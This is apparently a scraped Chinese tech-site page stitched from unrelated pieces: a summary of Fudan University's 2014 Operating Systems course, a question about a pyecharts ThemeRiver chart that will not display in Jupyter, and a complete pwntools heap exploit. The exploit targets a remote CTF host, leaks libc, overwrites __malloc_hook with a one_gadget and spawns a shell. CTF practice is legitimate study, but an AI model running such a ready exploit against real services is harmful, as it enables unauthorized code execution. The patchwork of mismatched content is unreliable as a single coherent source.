复旦大学2014年操作系统课程介绍与教学资源

需积分: 1 0 下载量 189 浏览量 更新于2024-07-21 收藏 7.55MB PDF 举报
"操作系统课程介绍:Fudan University 2014年秋季学期" 该课程是Fudan大学计算机科学学院在2014年秋季开设的一门名为《Operating Systems》(COMP130110.01)的专业课程,由刘强教授主讲。课程的主要目标是为了让学生深入理解操作系统的基本概念、原理和实践应用。 课程大纲分为两个主要部分:课程信息和具体内容。首先,课程信息部分涵盖了课程的重要细节,如: 1. 课程名称:明确为《Operating Systems》,强调其作为计算机科学的核心课程地位。 2. 教材:推荐了两本教材,分别是A.Silberschatz、P.B.Galvin和G.Gagne合著的《Operating System Concepts》第九版,以及Y.Chen和Y.Xiang编写的《操作系统实验室指南》。教学语言为英语,实验室指导则采用双语模式。 3. 参考材料:学生可以访问Fudan大学的在线学习平台(http://elearning.fudan.edu.cn/)获取辅助教学资料。 4. 阅读材料:包括经典的 xv6 教学操作系统源代码,以及至少每名学生需要阅读的补充文章。 在"Who, When, and Where"这一部分,课程安排了固定的上课时间和地点,具体包括刘强教授授课、辅导老师 Kaiyu QIAN 的总体指导以及Jiankun LEI 负责实验室指导。讲师的联系方式也提供了,便于学生及时沟通交流。 此外,课程的"Wha

import os import re import numpy as np import pandas as pd from pyecharts.charts import ThemeRiver from pyecharts import options as opts 文件夹路径 extract_path = “西游记” 获取TXT文件列表 txt_files = [f for f in os.listdir(extract_path) if f.endswith(‘.txt’)] 读取所有文本 all_texts = [] for txt_file in txt_files: with open(os.path.join(extract_path, txt_file), “r”, encoding=“utf-8”, errors=“ignore”) as f: all_texts.append(f.read()) 合并所有章节文本 full_text = “\n”.join(all_texts) 分割章节 chapters = re.split(r"第[一二三四五六七八九十百千]+回", full_text)[1:] 主要人物 main_characters = [“唐僧”, “悟空”, “八戒”, “沙僧”, “妖怪”, “神仙”] 初始化人物出场统计 chapter_counts = {char: [] for char in main_characters} chapter_labels = [f"第{i + 1}回" for i in range(len(chapters))] 统计每个角色在每章节中的出现频率 for chapter in chapters: for char in main_characters: chapter_counts[char].append(chapter.count(char)) 转换为 Pandas DataFrame df = pd.DataFrame(chapter_counts, index=chapter_labels) 准备主题河流图的数据 x_data = chapter_labels # 章节作为时间轴 y_data = [] for char in main_characters: for i, count in enumerate(df[char]): y_data.append([x_data[i], count, char]) 创建主题河流图 themeriver = ( ThemeRiver(init_opts=opts.InitOpts(width=“1600px”, height=“800px”)) # 设置画布大小 .add( series_name=main_characters, # 系列名称 data=y_data, # 数据 singleaxis_opts=opts.SingleAxisOpts( pos_top=“50”, # 单轴组件距离顶部 50 pos_bottom=“50”, # 单轴组件距离底部 50 type_=“category”, # 坐标轴类型为类目轴 ), tooltip_opts=opts.TooltipOpts( trigger=“axis”, # 触发条件为坐标轴触发 axis_pointer_type=“line” # 指示器类型为直线指示器 ) ) .set_global_opts(title_opts=opts.TitleOpts(title=“《西游记》主要人物在各章节的出现频率(主题河流图)”)) ) 在 Jupyter Notebook 中直接显示图表 themeriver.render_notebook() 为什么在jupyter notebook中代码都没错,就是可视化图表无法显示 参考我的词云图代码来解决该问题,词云图如下导入需要的库 import requests from bs4 import BeautifulSoup from pyecharts.charts import WordCloud from pyecharts import options as opts import jieba from collections import Counter from IPython.display import display from urllib.parse import urljoin 查找数据 base_url = "http://www.hbust.edu.cn" response = requests.get(base_url) response.encoding = response.apparent_encoding soup = BeautifulSoup(response.text, 'html.parser') ​ colleges_section = None for a in soup.find_all('a', href=True): if "教学科研单位" in a.text: colleges_section = a break if colleges_section: colleges_url = urljoin(base_url, colleges_section['href']) response = requests.get(colleges_url) response.encoding = response.apparent_encoding soup = BeautifulSoup(response.text, 'html.parser') ​ college_links = [] for a in soup.find_all('a', href=True): href = urljoin(base_url, a['href']) if "学院" in a.text or "研究院" in a.text: college_links.append(href) 获取数据 all_text = "" failed_urls = [] ​ for college_url in college_links: try: response = requests.get(college_url) response.encoding = response.apparent_encoding college_soup = BeautifulSoup(response.text, 'html.parser') introduction = college_soup.find('p') if introduction: all_text += introduction.get_text() + "\n" except Exception as e: failed_urls.append(college_url) 分词处理 words = jieba.cut(all_text, cut_all=False) stop_words = {"的", "是", "和", "在", "了", "有"} word_list = [word for word in words if len(word) > 1 and word not in stop_words] ​ word_counts = Counter(word_list) 绘图 wordcloud = WordCloud() wordcloud.add( series_name="湖北科技学院", data_pair=list(word_counts.items()), word_size_range=[20, 100], shape='diamond' ) wordcloud.set_global_opts(title_opts=opts.TitleOpts(title="湖北科技学院二级学院简介")) ​ display(wordcloud.render_notebook())

2025-03-24 上传

import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()这串代码的知识点

169 浏览量
手机看
程序员都在用的中文IT技术交流社区

程序员都在用的中文IT技术交流社区

专业的中文 IT 技术社区,与千万技术人共成长

专业的中文 IT 技术社区,与千万技术人共成长

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

客服 返回
顶部